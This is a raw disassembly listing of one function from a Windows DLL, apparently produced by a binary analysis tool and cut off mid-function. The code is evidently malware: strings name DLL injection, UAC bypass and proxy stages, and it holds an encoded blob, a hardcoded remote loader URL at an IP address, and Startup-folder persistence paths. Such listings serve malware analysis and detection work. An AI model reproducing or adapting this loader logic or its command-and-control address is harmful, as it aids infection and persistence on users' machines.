Function at 0x180001260
Capabilities:
Get session user name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0xa40
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x180059098]
xor rax, rsp
mov qword [rsp + 0xa10], rax
xor r15d, r15d
mov dword [rsp + 0x1e8], r15d
call fcn.180007a50
test al, al
je 0x180004430
xorps xmm0, xmm0
movups xmmword [rsp + 0x700], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x710], xmm1
lea r8d, [r15 + 9]
lea rdx, str._USER_ID_
lea rcx, [rsp + 0x700]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x720], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x730], xmm1
lea r8d, [r15 + 0xa]
lea rdx, str.__USER_ID_
lea rcx, [rsp + 0x720]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x5e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5f0], xmm1
lea r8d, [r15 + 0xb]
lea rdx, str._EXE_PROXY_
lea rcx, [rsp + 0x5e0]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x5c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5d0], xmm1
lea r8d, [r15 + 0xc]
lea rdx, str.__EXE_PROXY_
lea rcx, [rsp + 0x5c0]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x5a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5b0], xmm1
lea r8d, [r15 + 0xb]
lea rdx, str._DLL_PROXY_
lea rcx, [rsp + 0x5a0]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x580], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x590], xmm1
lea r8d, [r15 + 0xc]
lea rdx, str.__DLL_PROXY_
lea rcx, [rsp + 0x580]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x6e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x6f0], xmm1
lea r8d, [r15 + 0xc]
lea rdx, str._DLL_INJECT_
lea rcx, [rsp + 0x6e0]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x6c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x6d0], xmm1
lea r8d, [r15 + 0xd]
lea rdx, str.__DLL_INJECT_
lea rcx, [rsp + 0x6c0]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x6a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x6b0], xmm1
lea r8d, [r15 + 8]
lea rdx, str._DLL_UP_
lea rcx, [rsp + 0x6a0]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x680], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x690], xmm1
lea r8d, [r15 + 9]
lea rdx, str.__DLL_UP_
lea rcx, [rsp + 0x680]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x660], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x670], xmm1
lea r8d, [r15 + 9]
lea rdx, str._EXE_UAC_
lea rcx, [rsp + 0x660]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x640], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x650], xmm1
lea r8d, [r15 + 0xa]
lea rdx, str.__EXE_UAC_
lea rcx, [rsp + 0x640]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x620], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x630], xmm1
lea r8d, [r15 + 9]
lea rdx, str._DLL_PRO_
lea rcx, [rsp + 0x620]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x600], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x610], xmm1
lea r8d, [r15 + 0xa]
lea rdx, str.__DLL_PRO_
lea rcx, [rsp + 0x600]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x560], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x570], xmm1
lea r8d, [r15 + 1]
lea rdx, [0x1800504dc]
lea rcx, [rsp + 0x560]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x740], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x750], xmm1
lea r8d, [r15 + 1]
lea rdx, [0x1800504e0]
lea rcx, [rsp + 0x740]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x760], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x770], xmm1
lea r8d, [r15 + 0xc]
lea rdx, str.C:krita.dll
lea rcx, [rsp + 0x760]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x780], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x790], xmm1
lea r8d, [r15 + 6]
lea rdx, str..exe
lea rcx, [rsp + 0x780]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x7a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x7b0], xmm1
lea r8d, [r15 + 6]
lea rdx, str..dll
lea rcx, [rsp + 0x7a0]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x2b0], xmm0
mov qword [rsp + 0x2c0], r15
mov qword [rsp + 0x2c8], r15
lea r8d, [r15 + 1]
lea rdx, [0x180050508]
lea rcx, [rsp + 0x2b0]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x540], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x550], xmm1
mov r8d, 0x13e
lea rdx, str.E3F42505F5C4C444F2C34303E3F42505F5C4C444C3E39585F42505F5C4C444F2C34303E39585F42505F5C4C444C3E39585F42505F5548554F2C34303E39585F42505F5548554C3E3341455F5548554F2C34303E3341455F5548554C3E30555F5C4C444F2C34303E30555F5C4C444C3E3453454A4E494F5C4C444F2C34303E3453454A4E494F5C4C444C3E34494F525543555F2C34303E34494F525543555C3
lea rcx, [rsp + 0x540]
call fcn.180005a00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x4c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x4d0], xmm1
lea r8d, [r15 + 0x31]
lea rdx, str.http:__191.252.203.222_Load_CONTADOR_ClienteD.php
lea rcx, [rsp + 0x4c0]
call fcn.180005a00
nop
lea rcx, str.APPDATA
call fcn.18002beb8
xorps xmm0, xmm0
xorps xmm1, xmm1
test rax, rax
jne 0x180001725
movups xmmword [rsp + 0x3f0], xmm0
movdqu xmmword [rsp + 0x400], xmm1
xor r8d, r8d
lea rdx, [0x1800503f8]
lea rcx, [rsp + 0x3f0]
call fcn.180005a00
mov ebx, 0x1000
lea r14, [r15 - 1]
jmp 0x1800017fc
movups xmmword [rsp + 0x1f0], xmm0
movdqu xmmword [rsp + 0x200], xmm1
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x180001740
mov rdx, rax
lea rcx, [rsp + 0x1f0]
call fcn.180005a00
nop
mov r8d, 0x2e
lea rdx, str.MicrosoftWindowsStart_MenuProgramsStartup
lea rcx, [rsp + 0x1f0]
call fcn.1800052d0
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x208]
cmp rdx, 0x10
jb 0x1800017ce
inc rdx
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800017c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000446c
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x200], xmm0
mov byte [rsp + 0x1f0], 0
movups xmmword [rsp + 0x3f0], xmm6
movups xmmword [rsp + 0x400], xmm7
mov ebx, 0x3000
mov dword [rsp + 0x1e8], 0x101
lea rdx, [rsp + 0x1e8]
lea rcx, [rsp + 0x800]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x1800018e7
lea rdx, [rsp + 0x800]
lea rcx, [rsp + 0x330]
call fcn.180012bd0
nop
lea rdx, [rsp + 0x330]
cmp qword [rsp + 0x348], 8
cmovae rdx, qword [rsp + 0x330]
mov rax, qword [rsp + 0x340]
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x330]
cmovae rdx, qword [rsp + 0x330]
lea rcx, [rsp + 0x3b0]
call fcn.180015f90
bts ebx, 0xe
mov rdx, qword [rsp + 0x348]
cmp rdx, 8
jb 0x1800018cb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800018c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004472
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d80]
movdqu xmmword [rsp + 0x340], xmm0
mov word [rsp + 0x330], r15w
jmp 0x18000191d
xorps xmm0, xmm0
movups xmmword [rsp + 0x3b0], xmm0
mov qword [rsp + 0x3c0], r15
mov qword [rsp + 0x3c8], r15
xor r8d, r8d
lea rdx, [0x1800503f8]
lea rcx, [rsp + 0x3b0]
call fcn.180005a00
bts ebx, 0xe
lea rcx, [rsp + 0x3d0]
call fcn.180006da0
nop
lea rdx, [rsp + 0x3b0]
cmp qword [rsp + 0x3c8], 0x10
cmovae rdx, qword [rsp + 0x3b0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x200], xmm1
mov r8, r14
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x180001960
lea rcx, [rsp + 0x1f0]
call fcn.180005a00
nop
lea rcx, [rsp + 0x250]
call fcn.1800075d0
nop
lea r9, [rsp + 0x1f0]
mov r8, rax
lea rcx, [rsp + 0x2d0]
call fcn.180005dd0
bts ebx, 0xf
mov r8d, 4
lea rdx, str..tmp
lea rcx, [rsp + 0x2d0]
call fcn.1800052d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x500], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x510], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x500], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x510], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts ebx, 0x10
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0x10
jb 0x180001a40
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001a3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004478
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x2e0], xmm0
mov byte [rsp + 0x2d0], 0
mov rdx, qword [rsp + 0x268]
cmp rdx, 0x10
jb 0x180001a9c
inc rdx
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001a97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000447e
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x260], xmm0
mov byte [rsp + 0x250], 0
mov rdx, qword [rsp + 0x208]
cmp rdx, 0x10
jb 0x180001af8
inc rdx
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001af3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004484
call fcn.18001cdac
lea rcx, [rsp + 0x370]
call fcn.18000c820
nop
cmp qword [rax + 0x18], 0x10
jb 0x180001b10
mov rax, qword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x2e0], xmm1
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180001b30
mov rdx, rax
lea rcx, [rsp + 0x2d0]
call fcn.180005a00
nop
lea rcx, [rsp + 0x390]
call fcn.1800075d0
nop
lea r9, [rsp + 0x2d0]
mov r8, rax
lea rcx, [rsp + 0x1f0]
call fcn.180005dd0
bts ebx, 0x11
mov r8d, 4
lea rdx, str..tmp
lea rcx, [rsp + 0x1f0]
call fcn.1800052d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x520], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x530], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x520], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x530], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts ebx, 0x12
mov rdx, qword [rsp + 0x208]
cmp rdx, 0x10
jb 0x180001c13
inc rdx
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001c0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000448a
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x200], xmm0
mov byte [rsp + 0x1f0], 0
mov rdx, qword [rsp + 0x3a8]
cmp rdx, 0x10
jb 0x180001c6f
inc rdx
mov rcx, qword [rsp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001c6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004490
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x3a0], xmm0
mov byte [rsp + 0x390], 0
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0x10
jb 0x180001ccc
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001cc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004496
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x388]
cmp rdx, 0x10
jb 0x180001d0f
inc rdx
mov rcx, qword [rsp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001d0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000449c
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x380], xmm0
mov byte [rsp + 0x370], 0
lea rax, [rsp + 0x3d0]
cmp qword [rsp + 0x3e8], 0x10
cmovae rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x148]
call fcn.18000c820
mov qword [rsp + 0x120], rax
cmp qword [rax + 0x18], 0x10
jb 0x180001d6e
mov rax, qword [rax]
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x160]
cmp rdx, 0x10
jb 0x180001db1
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001dac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800044a2
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x158], xmm0
mov byte [rsp + 0x148], 0
lea rcx, str.PUBLIC
call fcn.18002beb8
xorps xmm0, xmm0
test rax, rax
jne 0x180001e12
movups xmmword [rsp + 0x350], xmm0
mov qword [rsp + 0x360], r15
mov qword [rsp + 0x368], r15
xor r8d, r8d
lea rdx, [0x1800503f8]
lea rcx, [rsp + 0x350]
call fcn.180005a00
jmp 0x180001eeb
movups xmmword [rsp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x260], xmm1
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180001e30
mov rdx, rax
lea rcx, [rsp + 0x250]
call fcn.180005a00
nop
mov r8d, 0xa
lea rdx, str.Documents
lea rcx, [rsp + 0x250]
call fcn.1800052d0
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts ebx, 0x14
mov rdx, qword [rsp + 0x268]
cmp rdx, 0x10
jb 0x180001ec2
inc rdx
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001ebd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800044a8
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x260], xmm0
mov byte [rsp + 0x250], 0
movups xmmword [rsp + 0x350], xmm6
movups xmmword [rsp + 0x360], xmm7
bts ebx, 0x13
movabs r8, 0x7fffffffffffffff
mov rax, r8
mov rdx, qword [rsp + 0x360]
sub rax, rdx
mov rcx, qword [rsp + 0x2c0]
cmp rax, rcx
jb 0x1800044ae
lea r12, [rsp + 0x350]
cmp qword [rsp + 0x368], 0x10
cmovae r12, qword [rsp + 0x350]
lea r13, [rsp + 0x2b0]
cmp qword [rsp + 0x2c8], 0x10
cmovae r13, qword [rsp + 0x2b0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x300], xmm1
lea rax, [rcx + rdx]
mov qword [rsp + 0x1e8], rax
mov edi, 0xf
lea rsi, [rsp + 0x2f0]
cmp rax, rdi
jbe 0x180002053
mov rdi, rax
or rdi, 0xf
cmp rdi, r8
jbe 0x180001fa4
mov rdi, r8
movabs r15, 0x8000000000000000
lea rax, [r15 + 0x27]
jmp 0x180001fd4
mov esi, 0x16
cmp rdi, rsi
cmovb rdi, rsi
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x18000200b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800044b3
movabs r15, 0x8000000000000000
mov rcx, rax
call fcn.18001cd70
test rax, rax
je 0x1800044b8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rax, qword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x360]
mov qword [rsp + 0x2f0], rsi
jmp 0x18000205d
test rcx, rcx
je 0x18000203c
call fcn.18001cd70
mov rsi, rax
mov rax, qword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x360]
movabs r15, 0x8000000000000000
mov qword [rsp + 0x2f0], rsi
jmp 0x18000205d
mov rsi, r15
movabs r15, 0x8000000000000000
mov qword [rsp + 0x2f0], rsi
jmp 0x18000205d
movabs r15, 0x8000000000000000
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], rdi
mov r8, rdx
mov rdx, r12
mov rcx, rsi
call fcn.18001edb0
mov rcx, qword [rsp + 0x360]
add rcx, rsi
mov r8, qword [rsp + 0x2c0]
mov rdx, r13
call fcn.18001edb0
mov rax, qword [rsp + 0x1e8]
mov byte [rsi + rax], 0
bts ebx, 0x15
lea rdx, [rsp + 0x3d0]
cmp qword [rsp + 0x3e8], 0x10
cmovae rdx, qword [rsp + 0x3d0]
mov r8, qword [rsp + 0x3e0]
lea rcx, [rsp + 0x2f0]
call fcn.1800052d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x200], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x200], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
bts ebx, 0x16
lea r8d, [rdi + 4]
lea rdx, str..ini
lea rcx, [rsp + 0x1f0]
call fcn.1800052d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x310], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x320], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x310], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x320], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
bts ebx, 0x17
mov rdx, qword [rsp + 0x208]
cmp rdx, 0x10
jb 0x1800021b4
inc rdx
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800021af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800044be
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x200], xmm0
mov byte [rsp + 0x1f0], 0
mov rdx, qword [rsp + 0x308]
cmp rdx, 0x10
jb 0x180002210
inc rdx
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000220b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800044c4
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x300], xmm0
mov byte [rsp + 0x2f0], 0
mov rdi, qword [rsp + 0x3c0]
test rdi, rdi
jne 0x18000226a
xorps xmm0, xmm0
movups xmmword [rsp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x260], xmm1
xor r8d, r8d
lea rdx, [0x1800503f8]
lea rcx, [rsp + 0x250]
call fcn.180005a00
bts ebx, 0x18
jmp 0x1800022e4
cmp byte [0x18005bba0], 0
jne 0x180002289
xor ecx, ecx
call fcn.18002b3d0
mov rcx, rax
call fcn.1800276f8
mov byte [0x18005bba0], 1
call fcn.1800276cc
cdqe
xor edx, edx
div rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x260], xmm1
lea r8, [rdx + 1]
cmp rdi, r8
cmovb r8, rdi
lea rdx, [rsp + 0x3b0]
cmp qword [rsp + 0x3c8], 0x10
cmovae rdx, qword [rsp + 0x3b0]
lea rcx, [rsp + 0x250]
call fcn.180005a00
or ebx, 0x3000000
lea r12, [rsp + 0x350]
cmp qword [rsp + 0x368], 0x10
cmovae r12, qword [rsp + 0x350]
lea r13, [rsp + 0x2b0]
cmp qword [rsp + 0x2c8], 0x10
cmovae r13, qword [rsp + 0x2b0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x200], xmm1
mov edi, 0xf
lea rsi, [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1e8]
cmp rdx, rdi
jbe 0x1800023db
mov rdi, rdx
or rdi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jbe 0x180002391
mov rdi, rax
lea rax, [r15 + 0x27]
mov rcx, rax
call fcn.18001cd70
test rax, rax
je 0x1800044cf
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rdx, qword [rsp + 0x1e8]
jmp 0x1800023d3
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1800023ba
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800044ca
jmp 0x18000236a
test rcx, rcx
je 0x1800023d1
call fcn.18001cd70
mov rsi, rax
mov rdx, qword [rsp + 0x1e8]
jmp 0x1800023d3
xor esi, esi
mov qword [rsp + 0x1f0], rsi
mov qword [rsp + 0x200], rdx
mov qword [rsp + 0x208], rdi
mov rdi, qword [rsp + 0x360]
mov r8, rdi
mov rdx, r12
mov rcx, rsi
call fcn.18001edb0
lea rcx, [rsi + rdi]
mov r8, qword [rsp + 0x2c0]
mov rdx, r13
call fcn.18001edb0
mov rax, qword [rsp + 0x1e8]
mov byte [rsi + rax], 0
bts ebx, 0x1a
lea r9, [rsp + 0x250]
lea r8, [rsp + 0x1f0]
lea rcx, [rsp + 0x4a0]
call fcn.180005dd0
bts ebx, 0x1b
mov rdx, qword [rsp + 0x208]
cmp rdx, 0x10
jb 0x18000248a
inc rdx
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002484
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800044d5
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 0x10
jb 0x1800024cd
inc rdx
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800024c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800044db
call fcn.18001cdac
lea rcx, [rsp + 0x310]
cmp qword [rsp + 0x328], 0x10
cmovae rcx, qword [rsp + 0x310]
call fcn.180007830
test al, al
jne 0x180003b54
lea rdx, [rsp + 0x310]
cmp qword [rsp + 0x328], 0x10
cmovae rdx, qword [rsp + 0x310]
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x2e0], xmm1
inc r14
cmp byte [rdx + r14], 0
jne 0x180002525
mov r8, r14
lea rcx, [rsp + 0x2d0]
call fcn.180005a00
nop
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x800]
call fcn.18001f470
mov r8d, 2
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x800]
call fcn.180010c80
nop
cmp qword [rsp + 0x888], 0
jne 0x180002614
mov rax, qword [rsp + 0x800]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x800], rax
mov rax, qword [rsp + 0x800]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7fc], edx
lea rcx, [rsp + 0x808]
call fcn.1800121c0
mov rax, qword [rsp + 0x800]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x800], rax
mov rax, qword [rsp + 0x800]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x7fc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x8a8], rax
lea rcx, [rsp + 0x8a8]
call fcn.18001c220
nop
xor dil, dil
jmp 0x180002664
lea rdx, [rsp + 0x540]
lea rcx, [rsp + 0x800]
call fcn.1800160d0
mov rax, qword [rsp + 0x800]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x800]
add rcx, rax
call fcn.180006a60
nop
lea rcx, [rsp + 0x800]
test al, al
je 0x18000265c
call fcn.1800079b0
xor dil, dil
jmp 0x180002664
call fcn.1800079b0
mov dil, 1
lea rcx, [rsp + 0x2d0]
call fcn.180005080
test dil, dil
je 0x180003b54
lea rcx, [rsp + 0x310]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003b54
lea rcx, [rsp + 0x4a0]
call fcn.180007d70
test al, al
jne 0x180003b54
lea rcx, [rsp + 0x4a0]
call fcn.180007c20
test al, al
je 0x180003b54
lea rcx, [rsp + 0x1f0]
call fcn.180006ba0
nop
lea rdx, [rsp + 0x780]
lea rcx, [rsp + 0x210]
call fcn.1800051b0
mov r8, rax
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x2d0]
call fcn.18000ac50
nop
lea rdx, [rsp + 0x7a0]
lea rcx, [rsp + 0xa0]
call fcn.1800051b0
mov r8, rax
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x7c0]
call fcn.18000ac50
nop
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x270]
call fcn.18000a9c0
mov rdi, rax
lea r8, [rsp + 0x2b0]
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x210]
call fcn.180005360
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x2f0]
call fcn.180005530
nop
lea rcx, [rsp + 0x210]
call fcn.180005080
nop
lea rcx, [rsp + 0x270]
call fcn.180005080
lea rdx, [rsp + 0x7c0]
lea rcx, [rsp + 0x60]
call fcn.18000a9c0
mov rdi, rax
lea r8, [rsp + 0x2b0]
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0xa0]
call fcn.180005360
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x330]
call fcn.180005530
nop
lea rcx, [rsp + 0xa0]
call fcn.180005080
nop
lea rcx, [rsp + 0x60]
